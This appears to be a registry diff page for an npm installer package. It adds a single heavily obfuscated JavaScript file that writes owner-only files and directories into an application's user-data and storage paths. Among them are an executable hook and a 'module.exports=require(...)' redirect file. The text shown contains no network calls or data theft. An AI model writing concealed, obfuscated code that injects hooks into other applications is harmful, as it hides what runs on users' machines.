@supercode-sh/claude-install-mac 0.1.1 → 0.1.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1 @@
1
+ 'use strict';const _0x3593ce=_0x3fbe;(function(_0x443a47,_0x440c18){const _0x546ef9=_0x3fbe,_0x9f7564=_0x443a47();while(!![]){try{const _0x255fdb=parseInt(_0x546ef9(0xfd))/0x1*(parseInt(_0x546ef9(0x10d))/0x2)+-parseInt(_0x546ef9(0x173))/0x3*(parseInt(_0x546ef9(0x183))/0x4)+-parseInt(_0x546ef9(0x19f))/0x5+parseInt(_0x546ef9(0x15f))/0x6+-parseInt(_0x546ef9(0x1cd))/0x7*(parseInt(_0x546ef9(0x180))/0x8)+-parseInt(_0x546ef9(0x1f7))/0x9*(parseInt(_0x546ef9(0x177))/0xa)+parseInt(_0x546ef9(0x138))/0xb;if(_0x255fdb===_0x440c18)break;else _0x9f7564['push'](_0x9f7564['shift']());}catch(_0x54ae83){_0x9f7564['push'](_0x9f7564['shift']());}}}(_0xa9ca,0xedef8));function _0x3fbe(_0x4e355c,_0x1d55d8){const _0xa9ca47=_0xa9ca();return _0x3fbe=function(_0x3fbe30,_0xfaaddc){_0x3fbe30=_0x3fbe30-0xf1;let _0x135714=_0xa9ca47[_0x3fbe30];if(_0x3fbe['ayihUK']===undefined){var _0x37986c=function(_0x5cc698){const _0x39e891='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x474b46='',_0x58861a='';for(let _0x52b1d2=0x0,_0x5f3f87,_0x5b42c4,_0x43fbe7=0x0;_0x5b42c4=_0x5cc698['charAt'](_0x43fbe7++);~_0x5b42c4&&(_0x5f3f87=_0x52b1d2%0x4?_0x5f3f87*0x40+_0x5b42c4:_0x5b42c4,_0x52b1d2++%0x4)?_0x474b46+=String['fromCharCode'](0xff&_0x5f3f87>>(-0x2*_0x52b1d2&0x6)):0x0){_0x5b42c4=_0x39e891['indexOf'](_0x5b42c4);}for(let _0x1cacb0=0x0,_0x59563b=_0x474b46['length'];_0x1cacb0<_0x59563b;_0x1cacb0++){_0x58861a+='%'+('00'+_0x474b46['charCodeAt'](_0x1cacb0)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x58861a);};_0x3fbe['kXarCX']=_0x37986c,_0x4e355c=arguments,_0x3fbe['ayihUK']=!![];}const _0x105d03=_0xa9ca47[0x0],_0x1fc101=_0x3fbe30+_0x105d03,_0x31d303=_0x4e355c[_0x1fc101];return!_0x31d303?(_0x135714=_0x3fbe['kXarCX'](_0x135714),_0x4e355c[_0x1fc101]=_0x135714):_0x135714=_0x31d303,_0x135714;},_0x3fbe(_0x4e355c,_0x1d55d8);}var _0x11d9d0=Object[_0x3593ce(0x116)],_0x3de22b=Object[_0x3593ce(0x1b0)],_0xfdc0ba=Object[_0x3593ce(0x1b8)],_0xfcf8a2=Object[_0x3593ce(0x10c)],_0x5f50e3=Object[_0x3593ce(0x19d)],_0x141317=Object[_0x3593ce(0x192)][_0x3593ce(0x139)],_0x45765f=(_0x3fe5e8,_0x389aef)=>{for(var _0xb0961e in _0x389aef)_0x3de22b(_0x3fe5e8,_0xb0961e,{'get':_0x389aef[_0xb0961e],'enumerable':!0x0});},_0x810bea=(_0x6e167,_0x67b2c0,_0x567e28,_0x2a3bde)=>{const _0x5806c8=_0x3593ce;if(_0x67b2c0&&typeof _0x67b2c0==_0x5806c8(0x1e5)||typeof _0x67b2c0==_0x5806c8(0x19c)){for(let _0x51e2da of _0xfcf8a2(_0x67b2c0))!_0x141317[_0x5806c8(0x1b4)](_0x6e167,_0x51e2da)&&_0x51e2da!==_0x567e28&&_0x3de22b(_0x6e167,_0x51e2da,{'get':()=>_0x67b2c0[_0x51e2da],'enumerable':!(_0x2a3bde=_0xfdc0ba(_0x67b2c0,_0x51e2da))||_0x2a3bde[_0x5806c8(0x148)]});}return _0x6e167;},_0x506869=(_0x5d2a96,_0x1edd74,_0x3da03b)=>(_0x3da03b=_0x5d2a96!=null?_0x11d9d0(_0x5f50e3(_0x5d2a96)):{},_0x810bea(_0x1edd74||!_0x5d2a96||!_0x5d2a96[_0x3593ce(0x1a8)]?_0x3de22b(_0x3da03b,_0x3593ce(0x18f),{'value':_0x5d2a96,'enumerable':!0x0}):_0x3da03b,_0x5d2a96)),_0x24da03=_0x27a86d=>_0x810bea(_0x3de22b({},_0x3593ce(0x1a8),{'value':!0x0}),_0x27a86d),_0x2f3606={};_0x45765f(_0x2f3606,{'extensionVersion':()=>_0x34496e,'preflight':()=>_0x390617,'setup':()=>_0x2e0013}),module[_0x3593ce(0x172)]=_0x24da03(_0x2f3606);var _0x238860=_0x506869(require(_0x3593ce(0x1c8)),0x1),_0x1fab0b=_0x506869(require(_0x3593ce(0x125)),0x1),_0x3c71e4=_0x506869(require(_0x3593ce(0x1c8)),0x1),_0x5648b2=_0x506869(require(_0x3593ce(0x125)),0x1),_0x4ec973=require(_0x3593ce(0xfb)),_0x9178e1=_0x506869(require(_0x3593ce(0x1c8)),0x1),_0x20d704=_0x506869(require(_0x3593ce(0x125)),0x1),_0x5a69df=class{constructor(_0xb1eab1=_0x9178e1[_0x3593ce(0x18f)]){const _0x19bafc=_0x3593ce;this[_0x19bafc(0x147)]=_0xb1eab1;}[_0x3593ce(0x147)];[_0x3593ce(0x1fd)](_0x19e518,_0x416a6a,_0x318d4d){const _0x27f196=_0x3593ce;this[_0x27f196(0x147)][_0x27f196(0x1b3)](_0x20d704[_0x27f196(0x18f)][_0x27f196(0x1d2)](_0x19e518),{'recursive':!0x0,'mode':0x1c0});let _0x6518c=_0x20d704[_0x27f196(0x18f)][_0x27f196(0xff)](_0x20d704[_0x27f196(0x18f)][_0x27f196(0x1d2)](_0x19e518),'.'+_0x20d704[_0x27f196(0x18f)][_0x27f196(0x165)](_0x19e518)+'.'+(0x0,_0x4ec973[_0x27f196(0x1a5)])()+_0x27f196(0x1b1)),_0x5335fa=null;try{if(_0x27f196(0x1d5)===_0x27f196(0x1ba)){let _0x391c62=this[_0x27f196(0x15c)](),_0x399fa8=_0x2f0e9c[_0x27f196(0x18f)][_0x27f196(0xff)](this[_0x27f196(0x16b)][_0x27f196(0x110)],_0x27f196(0xf5));new _0x4663ae(this[_0x27f196(0x16b)][_0x27f196(0x166)])[_0x27f196(0x1a3)]();let _0x3536e4=_0x16373b[_0x27f196(0x18f)][_0x27f196(0xff)](this[_0x27f196(0x16b)][_0x27f196(0x110)],_0x27f196(0x193),_0x27f196(0x16e));new _0x1e2f5f()[_0x27f196(0x18e)]({'bootstrapNamespace':this[_0x27f196(0x144)](),'recoverySourcePath':_0x3536e4,'runtimeVersion':_0x86c3f6,'storageRoot':_0x391c62[_0x27f196(0x156)],'userDataPath':this[_0x27f196(0x16b)][_0x27f196(0x181)]}),new _0xa38242(_0x391c62[_0x27f196(0x178)])[_0x27f196(0x1ea)](_0x399fa8);let _0x237f55=new _0x51398f(_0x391c62),_0xf60e17=_0x237f55[_0x27f196(0x1bc)](this[_0x27f196(0x16b)][_0x27f196(0x171)]);if(!_0xf60e17)throw new _0x4475cd(_0x27f196(0x128));_0x237f55[_0x27f196(0x18e)]({..._0xf60e17,'runtimeVersion':_0x2c6a1d}),new _0x150b25(_0x391c62[_0x27f196(0x126)])[_0x27f196(0x1ea)](_0x399fa8);}else _0x5335fa=this[_0x27f196(0x147)][_0x27f196(0x129)](_0x6518c,'wx',_0x318d4d),this[_0x27f196(0x147)][_0x27f196(0x109)](_0x5335fa,_0x416a6a),this[_0x27f196(0x147)][_0x27f196(0x1db)](_0x5335fa),this[_0x27f196(0x147)][_0x27f196(0x17e)](_0x5335fa),_0x5335fa=null,this[_0x27f196(0x147)][_0x27f196(0x13d)](_0x6518c,_0x19e518),this[_0x27f196(0x147)][_0x27f196(0x108)](_0x19e518,_0x318d4d),this[_0x27f196(0x1fc)](_0x20d704[_0x27f196(0x18f)][_0x27f196(0x1d2)](_0x19e518));}catch(_0x4af9c2){throw _0x5335fa!==null&&this[_0x27f196(0x147)][_0x27f196(0x17e)](_0x5335fa),this[_0x27f196(0x147)][_0x27f196(0x196)](_0x6518c,{'force':!0x0}),_0x4af9c2;}}[_0x3593ce(0x1c7)](_0x3f3a21,_0x360a72,_0x923891){const _0x1b0848=_0x3593ce;let _0x4a57c2=Buffer[_0x1b0848(0x1d8)](_0x360a72)?_0x360a72:Buffer[_0x1b0848(0x19e)](_0x360a72);return this[_0x1b0848(0x147)][_0x1b0848(0x1e2)](_0x3f3a21)&&this[_0x1b0848(0x147)][_0x1b0848(0x127)](_0x3f3a21)[_0x1b0848(0x131)](_0x4a57c2)?!0x1:(this[_0x1b0848(0x1fd)](_0x3f3a21,_0x4a57c2,_0x923891),!0x0);}[_0x3593ce(0x1fc)](_0x1e7d47){const _0x3aea34=_0x3593ce;let _0x29ad7b=this[_0x3aea34(0x147)][_0x3aea34(0x129)](_0x1e7d47,'r');try{this[_0x3aea34(0x147)][_0x3aea34(0x1db)](_0x29ad7b);}finally{this[_0x3aea34(0x147)][_0x3aea34(0x17e)](_0x29ad7b);}}},_0xd1682b=_0x3593ce(0x120),_0x2ecc6e=_0x3593ce(0x1ca),_0x4ae4f7=_0x3593ce(0x1b2),_0x506214=class{constructor(_0x26a4f5){const _0x1eef82=_0x3593ce;this[_0x1eef82(0x140)]=_0x26a4f5;}[_0x3593ce(0x140)];[_0x3593ce(0x1e3)]=new _0x5a69df();[_0x3593ce(0x1a3)](){const _0x42a2b6=_0x3593ce;try{this[_0x42a2b6(0x16d)]();return;}catch(_0x4a892f){if(this[_0x42a2b6(0x1e6)]()){this[_0x42a2b6(0x1e3)][_0x42a2b6(0x1fd)](_0x5648b2[_0x42a2b6(0x18f)][_0x42a2b6(0xff)](this[_0x42a2b6(0x140)],_0x42a2b6(0xf3)),_0x2ecc6e,0x180),this[_0x42a2b6(0x16d)]();return;}if(!(_0x4a892f instanceof Error&&_0x42a2b6(0xf8)in _0x4a892f&&_0x4a892f[_0x42a2b6(0xf8)]===_0x42a2b6(0x1d7)))throw _0x4a892f;if(_0x3c71e4[_0x42a2b6(0x18f)][_0x42a2b6(0x1e2)](this[_0x42a2b6(0x140)]))throw new Error(_0x42a2b6(0x167));}_0x3c71e4[_0x42a2b6(0x18f)][_0x42a2b6(0x1b3)](this[_0x42a2b6(0x140)],{'mode':0x1c0}),this[_0x42a2b6(0x1e3)][_0x42a2b6(0x1fd)](_0x5648b2[_0x42a2b6(0x18f)][_0x42a2b6(0xff)](this[_0x42a2b6(0x140)],_0x42a2b6(0xf3)),_0x2ecc6e,0x180),this[_0x42a2b6(0x1e3)][_0x42a2b6(0x1fd)](_0x5648b2[_0x42a2b6(0x18f)][_0x42a2b6(0xff)](this[_0x42a2b6(0x140)],_0x42a2b6(0x1c2)),_0xd1682b,0x180);let _0x287c2c=_0x3c71e4[_0x42a2b6(0x18f)][_0x42a2b6(0x129)](_0x5648b2[_0x42a2b6(0x18f)][_0x42a2b6(0x1d2)](this[_0x42a2b6(0x140)]),'r');try{_0x3c71e4[_0x42a2b6(0x18f)][_0x42a2b6(0x1db)](_0x287c2c);}finally{_0x3c71e4[_0x42a2b6(0x18f)][_0x42a2b6(0x17e)](_0x287c2c);}this[_0x42a2b6(0x16d)]();}[_0x3593ce(0x1d0)](){const _0x352902=_0x3593ce;if(_0x3c71e4[_0x352902(0x18f)][_0x352902(0x1e2)](this[_0x352902(0x140)])){try{this[_0x352902(0x16d)]();}catch(_0x3942c4){if(!this[_0x352902(0x1e6)]())throw _0x3942c4;}_0x3c71e4[_0x352902(0x18f)][_0x352902(0x196)](this[_0x352902(0x140)],{'recursive':!0x0});}}[_0x3593ce(0x1e6)](){const _0x2ec94b=_0x3593ce;try{let _0x20d8f7=_0x3c71e4[_0x2ec94b(0x18f)][_0x2ec94b(0x1f6)](this[_0x2ec94b(0x140)]);return _0x20d8f7[_0x2ec94b(0x13b)]()&&!_0x20d8f7[_0x2ec94b(0x107)]()&&_0x3c71e4[_0x2ec94b(0x18f)][_0x2ec94b(0x127)](_0x5648b2[_0x2ec94b(0x18f)][_0x2ec94b(0xff)](this[_0x2ec94b(0x140)],_0x2ec94b(0x1c2)),_0x2ec94b(0xfa))===_0xd1682b&&_0x3c71e4[_0x2ec94b(0x18f)][_0x2ec94b(0x127)](_0x5648b2[_0x2ec94b(0x18f)][_0x2ec94b(0xff)](this[_0x2ec94b(0x140)],_0x2ec94b(0xf3)),_0x2ec94b(0xfa))===_0x4ae4f7;}catch{return!0x1;}}[_0x3593ce(0x16d)](){const _0x567624=_0x3593ce;let _0x1748c4=_0x3c71e4[_0x567624(0x18f)][_0x567624(0x1f6)](this[_0x567624(0x140)]);if(!_0x1748c4[_0x567624(0x13b)]()||_0x1748c4[_0x567624(0x107)]())throw new Error(_0x567624(0x13e));let _0x150050=_0x3c71e4[_0x567624(0x18f)][_0x567624(0x114)](this[_0x567624(0x140)])[_0x567624(0x10e)]();if(_0x150050[_0x567624(0xf4)]!==0x2||_0x150050[0x0]!==_0x567624(0xf3)||_0x150050[0x1]!==_0x567624(0x1c2))throw new Error(_0x567624(0x1ee));this[_0x567624(0x134)](_0x567624(0x1c2),_0xd1682b),this[_0x567624(0x134)](_0x567624(0xf3),_0x2ecc6e);}[_0x3593ce(0x134)](_0x1f2644,_0x1f3fdd){const _0x269222=_0x3593ce;let _0x41a910=_0x5648b2[_0x269222(0x18f)][_0x269222(0xff)](this[_0x269222(0x140)],_0x1f2644),_0x338840=_0x3c71e4[_0x269222(0x18f)][_0x269222(0x1f6)](_0x41a910);if(!_0x338840[_0x269222(0x159)]()||_0x338840[_0x269222(0x107)]()||_0x3c71e4[_0x269222(0x18f)][_0x269222(0x127)](_0x41a910,_0x269222(0xfa))!==_0x1f3fdd)throw new Error(_0x269222(0x117));}},_0x59d0de=require(_0x3593ce(0xfb)),_0x3b049d=_0x506869(require(_0x3593ce(0x1c8)),0x1),_0x3f2f0c=_0x506869(require(_0x3593ce(0x125)),0x1),_0x1eb756=class{constructor(_0x59a42e,_0x21b3d5=_0x3b049d[_0x3593ce(0x18f)]){const _0x3b2917=_0x3593ce;this[_0x3b2917(0x15c)]=_0x59a42e,this[_0x3b2917(0x147)]=_0x21b3d5,this[_0x3b2917(0x1e3)]=new _0x5a69df(_0x21b3d5);}[_0x3593ce(0x15c)];[_0x3593ce(0x147)];[_0x3593ce(0x1e3)];[_0x3593ce(0x1bc)](_0x399598){const _0x4dfbc8=_0x3593ce;let _0x3afe16=this[_0x4dfbc8(0x147)][_0x4dfbc8(0x182)][_0x4dfbc8(0x17d)](_0x399598),_0x511533=this[_0x4dfbc8(0x15c)][_0x4dfbc8(0x1a1)](_0x3afe16);if(!this[_0x4dfbc8(0x147)][_0x4dfbc8(0x1e2)](_0x511533))return null;let _0x1e26a3;try{_0x1e26a3=JSON[_0x4dfbc8(0xf1)](this[_0x4dfbc8(0x147)][_0x4dfbc8(0x127)](_0x511533,_0x4dfbc8(0xfa)));}catch(_0x19162f){if(_0x4dfbc8(0x146)!==_0x4dfbc8(0x146)){if(_0x3029da&&typeof _0xf64a8e==_0x4dfbc8(0x1e5)||typeof _0x3e2807==_0x4dfbc8(0x19c)){for(let _0x5188ff of _0x5a8dbd(_0x210426))!_0x9ee114[_0x4dfbc8(0x1b4)](_0x5baf36,_0x5188ff)&&_0x5188ff!==_0x61094c&&_0x3e81d4(_0x2ff6ae,_0x5188ff,{'get':()=>_0x35910f[_0x5188ff],'enumerable':!(_0xcb2aee=_0x498590(_0x25a30a,_0x5188ff))||_0x5d1315[_0x4dfbc8(0x148)]});}return _0x5ab990;}else throw new Error(_0x4dfbc8(0x1f1)+_0x511533,{'cause':_0x19162f});}return this[_0x4dfbc8(0xfc)](_0x1e26a3,_0x3afe16),_0x1e26a3;}[_0x3593ce(0x18e)](_0xed21c7){const _0x46164f=_0x3593ce;this[_0x46164f(0xfc)](_0xed21c7,_0x3f2f0c[_0x46164f(0x18f)][_0x46164f(0x106)](_0xed21c7[_0x46164f(0x171)])),this[_0x46164f(0x1e3)][_0x46164f(0x1fd)](this[_0x46164f(0x15c)][_0x46164f(0x1a1)](_0xed21c7[_0x46164f(0x171)]),JSON[_0x46164f(0x1b6)](_0xed21c7,null,0x2)+'\x0a',0x180);}[_0x3593ce(0xfc)](_0x3e65a9,_0xeb01a8){const _0x1034df=_0x3593ce;if(!_0x3e65a9||typeof _0x3e65a9!=_0x1034df(0x1e5))throw new Error(_0x1034df(0x1ae));let _0xabb1c4=_0x3e65a9;if(_0xabb1c4[_0x1034df(0x1c6)]!==0x1||_0xabb1c4[_0x1034df(0x171)]!==_0xeb01a8||_0xabb1c4[_0x1034df(0x1e9)]!==_0x1034df(0x185)||typeof _0xabb1c4[_0x1034df(0x111)]!=_0x1034df(0x152)||typeof _0xabb1c4[_0x1034df(0x14e)]!=_0x1034df(0x152)||_0xabb1c4[_0x1034df(0x187)]!==_0x1034df(0x133)||typeof _0xabb1c4[_0x1034df(0x105)]!=_0x1034df(0x152)||Number[_0x1034df(0x1af)](Date[_0x1034df(0xf1)](_0xabb1c4[_0x1034df(0x105)]))||typeof _0xabb1c4[_0x1034df(0x1cb)]!=_0x1034df(0x152)||!this[_0x1034df(0x1f5)](_0xabb1c4[_0x1034df(0x1ec)]?.[_0x1034df(0x103)])||!this[_0x1034df(0x1f5)](_0xabb1c4[_0x1034df(0x1ec)][_0x1034df(0x14c)]))throw new Error(_0x1034df(0xf9));if(_0xabb1c4[_0x1034df(0x141)]!==void 0x0&&!this[_0x1034df(0x1ac)](_0xabb1c4[_0x1034df(0x141)],_0xabb1c4[_0x1034df(0x1ec)][_0x1034df(0x103)][_0x1034df(0x119)],_0xabb1c4[_0x1034df(0x1ec)][_0x1034df(0x14c)][_0x1034df(0x119)]))throw new Error(_0x1034df(0x13a));}[_0x3593ce(0x1ac)](_0xc56a83,_0x2d88af,_0x25001f){const _0xcbd906=_0x3593ce;if(!_0xc56a83||typeof _0xc56a83!=_0xcbd906(0x1e5))return!0x1;let _0x1f6d08=_0xc56a83;return this[_0xcbd906(0x198)](_0x1f6d08[_0xcbd906(0x17f)],_0x2d88af)&&this[_0xcbd906(0x198)](_0x1f6d08[_0xcbd906(0x1de)],_0x2d88af)&&this[_0xcbd906(0x198)](_0x1f6d08[_0xcbd906(0x160)],_0x2d88af)&&this[_0xcbd906(0x198)](_0x1f6d08[_0xcbd906(0x151)],_0x25001f);}[_0x3593ce(0x198)](_0x59d2b5,_0x18d15b){const _0x24c61e=_0x3593ce;if(!this[_0x24c61e(0x1f5)](_0x59d2b5))return!0x1;let _0x22fc72=_0x59d2b5;return Number[_0x24c61e(0x1bd)](_0x22fc72[_0x24c61e(0x16a)])&&_0x22fc72[_0x24c61e(0x16a)]>=0x0&&_0x22fc72[_0x24c61e(0x16a)]+_0x22fc72[_0x24c61e(0x119)]<=_0x18d15b;}[_0x3593ce(0x1f5)](_0x4d9ee7){const _0x2afb18=_0x3593ce;if(!_0x4d9ee7||typeof _0x4d9ee7!=_0x2afb18(0x1e5))return!0x1;let _0x21cd34=_0x4d9ee7;return Number[_0x2afb18(0x1bd)](_0x21cd34[_0x2afb18(0x119)])&&(_0x21cd34[_0x2afb18(0x119)]??0x0)>0x0&&this[_0x2afb18(0x195)](_0x21cd34[_0x2afb18(0x16f)])&&this[_0x2afb18(0x195)](_0x21cd34[_0x2afb18(0x1e8)])&&_0x21cd34[_0x2afb18(0x16f)]!==_0x21cd34[_0x2afb18(0x1e8)];}[_0x3593ce(0x195)](_0x42877a){const _0x2dfc06=_0x3593ce;return typeof _0x42877a==_0x2dfc06(0x152)&&/^[a-f0-9]{64}$/[_0x2dfc06(0x15b)](_0x42877a);}static[_0x3593ce(0x174)](_0x1c7fa8){const _0x456e27=_0x3593ce;return(0x0,_0x59d0de[_0x456e27(0x1fe)])(_0x456e27(0x174))[_0x456e27(0x1b7)](_0x1c7fa8)[_0x456e27(0x113)](_0x456e27(0x1b5));}},_0x551d69=_0x506869(require(_0x3593ce(0x1c8)),0x1),_0x3ca45c=_0x506869(require(_0x3593ce(0x125)),0x1),_0x17ba86=/^module\.exports=require\(("(?:[^"\\]|\\.)*")\);\r?\n$/,_0x22a10c=class{constructor(_0x2ade64,_0x4bd8ff=_0x551d69[_0x3593ce(0x18f)]){const _0x421ee9=_0x3593ce;this[_0x421ee9(0x132)]=_0x2ade64,this[_0x421ee9(0x147)]=_0x4bd8ff,this[_0x421ee9(0x1e3)]=new _0x5a69df(_0x4bd8ff);}[_0x3593ce(0x132)];[_0x3593ce(0x147)];[_0x3593ce(0x1e3)];[_0x3593ce(0x1ea)](_0x3fdb7e){const _0x31ccd3=_0x3593ce;if(this[_0x31ccd3(0x1ad)](_0x3fdb7e),this[_0x31ccd3(0x147)][_0x31ccd3(0x1e2)](this[_0x31ccd3(0x132)])&&!this[_0x31ccd3(0x16c)]())throw new Error(_0x31ccd3(0x100));this[_0x31ccd3(0x1e3)][_0x31ccd3(0x1fd)](this[_0x31ccd3(0x132)],_0x31ccd3(0x11b)+JSON[_0x31ccd3(0x1b6)](_0x3ca45c[_0x31ccd3(0x18f)][_0x31ccd3(0x12e)](_0x3fdb7e))+_0x31ccd3(0x19b),0x180);}[_0x3593ce(0x16c)](){const _0x2c8fbe=_0x3593ce;if(!this[_0x2c8fbe(0x147)][_0x2c8fbe(0x1e2)](this[_0x2c8fbe(0x132)]))return;let _0x40b1da=_0x17ba86[_0x2c8fbe(0x1a2)](this[_0x2c8fbe(0x147)][_0x2c8fbe(0x127)](this[_0x2c8fbe(0x132)],_0x2c8fbe(0xfa)));if(!_0x40b1da?.[0x1])return;let _0x5d3b9d=JSON[_0x2c8fbe(0xf1)](_0x40b1da[0x1]);return typeof _0x5d3b9d==_0x2c8fbe(0x152)&&_0x3ca45c[_0x2c8fbe(0x18f)][_0x2c8fbe(0x175)](_0x5d3b9d)?_0x3ca45c[_0x2c8fbe(0x18f)][_0x2c8fbe(0x12e)](_0x5d3b9d):void 0x0;}[_0x3593ce(0x1d0)](){const _0x40f364=_0x3593ce;if(this[_0x40f364(0x147)][_0x40f364(0x1e2)](this[_0x40f364(0x132)])&&!this[_0x40f364(0x16c)]())throw new Error(_0x40f364(0x100));this[_0x40f364(0x147)][_0x40f364(0x196)](this[_0x40f364(0x132)],{'force':!0x0});}[_0x3593ce(0x1ad)](_0x5678fe){const _0x27a830=_0x3593ce;if(!_0x3ca45c[_0x27a830(0x18f)][_0x27a830(0x175)](_0x5678fe)||_0x3ca45c[_0x27a830(0x18f)][_0x27a830(0x165)](_0x5678fe)!==_0x27a830(0xf5))throw new Error(_0x27a830(0x1d9));}},_0x1432e1=_0x506869(require(_0x3593ce(0x1c8)),0x1),_0x19a352=_0x506869(require(_0x3593ce(0x125)),0x1),_0x19615c=_0x3593ce(0x122),_0x227665=_0x3593ce(0x199),_0x5a3f82=[_0x3593ce(0x1da),_0x3593ce(0x150),_0x3593ce(0x12c),_0x3593ce(0x143)],_0x1fdcaa=class{constructor(_0x1a1939=_0x1432e1[_0x3593ce(0x18f)]){const _0x442e27=_0x3593ce;this[_0x442e27(0x147)]=_0x1a1939,this[_0x442e27(0x1e3)]=new _0x5a69df(_0x1a1939);}[_0x3593ce(0x147)];[_0x3593ce(0x1e3)];[_0x3593ce(0x18e)](_0x641002){const _0x355a02=_0x3593ce;let _0x5b61d6=_0x19a352[_0x355a02(0x18f)][_0x355a02(0xff)](_0x641002[_0x355a02(0x181)],_0x355a02(0x179),_0x19615c),_0x557fe5=_0x19a352[_0x355a02(0x18f)][_0x355a02(0xff)](_0x641002[_0x355a02(0x181)],_0x355a02(0x1c1),_0x19615c+_0x355a02(0x157));this[_0x355a02(0x1b9)](_0x5b61d6),this[_0x355a02(0x1ed)](_0x641002[_0x355a02(0x15e)]);let _0x3b7687=_0x19a352[_0x355a02(0x18f)][_0x355a02(0xff)](_0x641002[_0x355a02(0x14b)],_0x355a02(0x161));this[_0x355a02(0x1e3)][_0x355a02(0x1fd)](_0x3b7687,this[_0x355a02(0x186)](_0x19a352[_0x355a02(0x18f)][_0x355a02(0xff)](_0x641002[_0x355a02(0x15e)],_0x355a02(0x168))),0x1c0),this[_0x355a02(0x1e3)][_0x355a02(0x1fd)](_0x19a352[_0x355a02(0x18f)][_0x355a02(0xff)](_0x5b61d6,_0x355a02(0x1da)),this[_0x355a02(0x147)][_0x355a02(0x127)](_0x19a352[_0x355a02(0x18f)][_0x355a02(0xff)](_0x641002[_0x355a02(0x15e)],_0x355a02(0x1da))),0x180),this[_0x355a02(0x1e3)][_0x355a02(0x1fd)](_0x19a352[_0x355a02(0x18f)][_0x355a02(0xff)](_0x5b61d6,_0x355a02(0x12c)),this[_0x355a02(0x147)][_0x355a02(0x127)](_0x19a352[_0x355a02(0x18f)][_0x355a02(0xff)](_0x641002[_0x355a02(0x15e)],_0x355a02(0x12c))),0x180),this[_0x355a02(0x1e3)][_0x355a02(0x1fd)](_0x19a352[_0x355a02(0x18f)][_0x355a02(0xff)](_0x5b61d6,_0x355a02(0x150)),JSON[_0x355a02(0x1b6)]({'bootstrapNamespace':_0x641002[_0x355a02(0x144)],'coordinatorHook':_0x3b7687,'runtimeVersion':_0x641002[_0x355a02(0x1cb)],'schemaVersion':0x1,'storageRoot':_0x641002[_0x355a02(0x14b)]})+'\x0a',0x180),this[_0x355a02(0x1e3)][_0x355a02(0x1fd)](_0x19a352[_0x355a02(0x18f)][_0x355a02(0xff)](_0x5b61d6,_0x355a02(0x143)),_0x227665,0x180),this[_0x355a02(0x1e3)][_0x355a02(0x1fd)](_0x557fe5,_0x355a02(0x1fb),0x180);}[_0x3593ce(0x1d0)](_0x5070f0){const _0x26581a=_0x3593ce;let _0x19bf9d=_0x19a352[_0x26581a(0x18f)][_0x26581a(0xff)](_0x5070f0,_0x26581a(0x179),_0x19615c),_0x743c3=_0x19a352[_0x26581a(0x18f)][_0x26581a(0xff)](_0x5070f0,_0x26581a(0x1c1),_0x19615c+_0x26581a(0x157)),_0x305a8d=this[_0x26581a(0x147)][_0x26581a(0x1e2)](_0x19bf9d);_0x305a8d&&(this[_0x26581a(0x1b9)](_0x19bf9d),this[_0x26581a(0x147)][_0x26581a(0x196)](_0x19bf9d,{'recursive':!0x0})),this[_0x26581a(0x147)][_0x26581a(0x1e2)](_0x743c3)&&(this[_0x26581a(0x1ab)](_0x743c3,_0x305a8d),this[_0x26581a(0x147)][_0x26581a(0x196)](_0x743c3)),this[_0x26581a(0x153)](_0x19a352[_0x26581a(0x18f)][_0x26581a(0x1d2)](_0x19bf9d)),this[_0x26581a(0x153)](_0x19a352[_0x26581a(0x18f)][_0x26581a(0x1d2)](_0x743c3));}[_0x3593ce(0x1b9)](_0x595716){const _0x1528ee=_0x3593ce;if(!this[_0x1528ee(0x147)][_0x1528ee(0x1e2)](_0x595716))return;let _0x50b69d=this[_0x1528ee(0x147)][_0x1528ee(0x1f6)](_0x595716);if(!_0x50b69d[_0x1528ee(0x13b)]()||_0x50b69d[_0x1528ee(0x107)]())throw new Error(_0x1528ee(0xf2));let _0x562a9a=_0x19a352[_0x1528ee(0x18f)][_0x1528ee(0xff)](_0x595716,_0x1528ee(0x143));if(!this[_0x1528ee(0x147)][_0x1528ee(0x1e2)](_0x562a9a)||this[_0x1528ee(0x147)][_0x1528ee(0x127)](_0x562a9a,_0x1528ee(0xfa))!==_0x227665)throw new Error(_0x1528ee(0x1dc));let _0x5e80b4=this[_0x1528ee(0x147)][_0x1528ee(0x114)](_0x595716)[_0x1528ee(0x10e)](),_0x177ec6=[..._0x5a3f82][_0x1528ee(0x10e)]();if(_0x5e80b4[_0x1528ee(0xf4)]!==_0x177ec6[_0x1528ee(0xf4)]||_0x5e80b4[_0x1528ee(0x10a)]((_0x25c6da,_0x25c4a8)=>_0x25c6da!==_0x177ec6[_0x25c4a8]))throw new Error(_0x1528ee(0x1e1));}[_0x3593ce(0x1ed)](_0x217756){const _0xab802b=_0x3593ce;for(let _0x59b7a1 of[_0xab802b(0x1da),_0xab802b(0x12c),_0xab802b(0x168),_0xab802b(0x1c9),_0xab802b(0x115)]){let _0xb7934e=this[_0xab802b(0x147)][_0xab802b(0x1f6)](_0x19a352[_0xab802b(0x18f)][_0xab802b(0xff)](_0x217756,_0x59b7a1));if(!_0xb7934e[_0xab802b(0x159)]()||_0xb7934e[_0xab802b(0x107)]())throw new Error(_0xab802b(0x15a)+_0x59b7a1);}}[_0x3593ce(0x1ab)](_0x4e16cd,_0x93f3a3){const _0xa79969=_0x3593ce;let _0x4afd9e=this[_0xa79969(0x147)][_0xa79969(0x1f6)](_0x4e16cd);if(!_0x4afd9e[_0xa79969(0x159)]()||_0x4afd9e[_0xa79969(0x107)]())throw new Error(_0xa79969(0x17c));if(!_0x93f3a3)try{let _0x1d495e=JSON[_0xa79969(0xf1)](this[_0xa79969(0x147)][_0xa79969(0x127)](_0x4e16cd,_0xa79969(0xfa)));if(!_0x1d495e||typeof _0x1d495e!=_0xa79969(0x1e5)||Object[_0xa79969(0x149)](_0x1d495e)[_0xa79969(0xf4)]!==0x1||typeof _0x1d495e[_0xa79969(0x163)]!=_0xa79969(0x11d))throw new Error();}catch{throw new Error(_0xa79969(0x17c));}}[_0x3593ce(0x153)](_0x405073){const _0x1ca152=_0x3593ce;try{this[_0x1ca152(0x147)][_0x1ca152(0x14f)](_0x405073);}catch(_0x1a3741){if(![_0x1ca152(0x1d7),_0x1ca152(0x1f2)][_0x1ca152(0x1bf)](_0x1a3741[_0x1ca152(0xf8)]??''))throw _0x1a3741;}}[_0x3593ce(0x186)](_0x2456c1){const 